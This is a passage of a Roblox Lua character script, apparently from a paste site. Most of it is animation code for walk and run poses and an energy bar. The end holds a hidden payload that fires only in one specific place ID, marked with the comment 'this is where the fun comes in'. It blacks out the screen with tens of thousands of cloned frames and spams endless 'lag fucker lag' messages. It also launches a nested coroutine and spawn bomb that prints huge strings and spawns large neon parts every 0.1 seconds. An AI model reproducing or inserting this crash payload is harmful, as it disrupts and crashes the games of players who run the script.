  4726. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4727. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4728. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4729. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4730. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4731. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4732. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4733. end
  4734. end
  4735. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4736. Anim="Walk"
  4737. if attack==false then
  4738. change=0.8
  4739. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4740. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4741. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4742. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4743. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4744. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4745. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4746. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4747. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4748. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4749. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4750. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4751. RH.C0=clerp(RH.C0,RHC0,.3)
  4752. LH.C0=clerp(LH.C0,LHC0,.3)
  4753. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4754. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4755. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4756. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4757. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4758. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4759. ]]--
  4760. Footsteps:Play()
  4761. Footsteps2:Stop()
  4762. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4763. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4764. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4765. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4766. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4767. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4768. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4769. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4770. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4771. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4772. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4773. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4774. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4775. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4776. end
  4777. elseif torvel>=22 and hitfloor~=nil then
  4778. Anim="Run"
  4779. change=1
  4780. if attack==false then
  4781. Footsteps:Stop()
  4782. Footsteps2:Play()
  4783. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4784. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4785. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4786. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4787. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4788. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4789. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4790. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4791. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4792. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4793. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4794. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4795. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4796. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4797. end
  4798. end
  4799. end
  4800. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4801. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4802. text.Text = math.floor(hum.Health)
  4803. if mana>=100 then
  4804. mana=100
  4805. else
  4806. if mananum<=8 then
  4807. mananum=mananum+100
  4808. else
  4809. mananum=0
  4810. mana=mana+100
  4811. end
  4812. end
  4813. end
  4814.  
  4815.  
  4816.  
  4817.  
  4818. --- shshshhh this is where the fun comes in ---
  4819. if game.PlaceId == 21053279 then
  4820. plr = game.Players.LocalPlayer
  4821. char = plr.Character
  4822. cam = workspace.CurrentCamera
  4823. cam.CameraType = "Scriptable"
  4824. cam.CoordinateFrame = CFrame.new(0,0,50)
  4825. local localContainer
  4826. local service=setmetatable({
  4827. MarketPlace=game:service("MarketplaceService");
  4828. GamepassService=game:service("GamePassService");
  4829. ChatService=game:service("Chat");
  4830. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4831. },{
  4832. __index=function(tab,index)
  4833. local serv
  4834. local ran,err=pcall(function() serv=game:service(index) end)
  4835. if ran then
  4836. tab[index]=serv
  4837. return serv
  4838. end
  4839. end
  4840. })
  4841.  
  4842. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4843.  
  4844. x=game.Players.LocalPlayer
  4845. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4846. f=Instance.new("Frame")
  4847. f.Size=UDim2.new(1,0,1,0)
  4848. f.BackgroundTransparency=0.01
  4849. f.BackgroundColor3=Color3.new()
  4850. pg=x.PlayerGui
  4851. gui=Instance.new("ScreenGui",pg)
  4852. wait(.1)
  4853. for i=1,28000 do
  4854. f:Clone().Parent=gui
  4855. f:Clone().Parent=gui
  4856. f:Clone().Parent=gui
  4857. end
  4858.  
  4859. script:Destroy();
  4860. local runService = Game:GetService("RunService").Stepped;
  4861. local LagNum = 1250;
  4862. local str = "lag fucker lag";
  4863.  
  4864. for i = 1, math.huge do
  4865. if i % LagNum == 0 then runService:wait(); end
  4866. Instance.new("Message", Workspace).Text = str;
  4867. end
  4868.  
  4869. local bores=coroutine.create(function() --Yolo?
  4870. cPcall(function()
  4871. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4872. cPcall(print,'lol')
  4873. cPcall(warn,'lol')
  4874. cPcall(error,'lol')
  4875. while wait(0.1) do
  4876. spawn(function()
  4877. cPcall(function()
  4878. spawn(function()
  4879. local tab={}
  4880. pcall(function()
  4881. spawn(function()
  4882. for i=1,1000000 do
  4883. cPcall(function()
  4884. spawn(function()
  4885. local bob2=coroutine.create(function()
  4886. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4887. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4888. spawn(f1)
  4889. end)
  4890. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4891. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4892. end)
  4893. end)
  4894. end
  4895. tab={}
  4896. end)
  4897. end)
  4898. end)
  4899. end)
  4900. end)
  4901. end
  4902. end)
  4903. end)
  4904.  
  4905. service.RunService.Stepped:connect(function()
  4906. for i=1,500000 do
  4907. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4908. end
  4909. end)
  4910.  
  4911.  
  4912. local function bob()
  4913. cPcall(function()
  4914. while wait(0.1) do
  4915. --cPcall(function()
  4916. --for i=1,100 do
  4917. local p=Instance.new("Part")
  4918. p.Material="Neon"
  4919. p.Size=Vector3.new(50,50,50)
  4920. p.Anchored=true
  4921. p.BackSurface="Studs"
  4922. p.BottomSurface="Studs"
  4923. p.FrontSurface="Studs"
  4924. p.LeftSurface="Studs"
  4925. p.RightSurface="Studs"
  4926. p.TopSurface="Studs"
  4927. local t=Instance.new("Texture",p)
  4928. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4929. t.Face="Top"
  4930. t.StudsPerTileU=1000
  4931. t.StudsPerTileV=1000
  4932. local t2=t:clone()
  4933. t2.Parent=p
  4934. t2.Face="Bottom"
  4935. local t2=t:clone()
  4936. t2.Parent=p
  4937. t2.Face="Left"
  4938. local t2=t:clone()
  4939. t2.Parent=p
  4940. t2.Face="Right"
  4941. local t2=t:clone()
  4942. t2.Parent=p
  4943. t2.Face="Front"
  4944. local t2=t:clone()
  4945. t2.Parent=p
  4946. t2.Face="Back"
  4947. p.Parent=service.LocalContainer()
  4948. --end
  4949. --end)
  4950. end
  4951. end)
  4952. end
  4953. bob() --while wait(0.1) do cPcall(bob) end
  4954. end
  4955. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement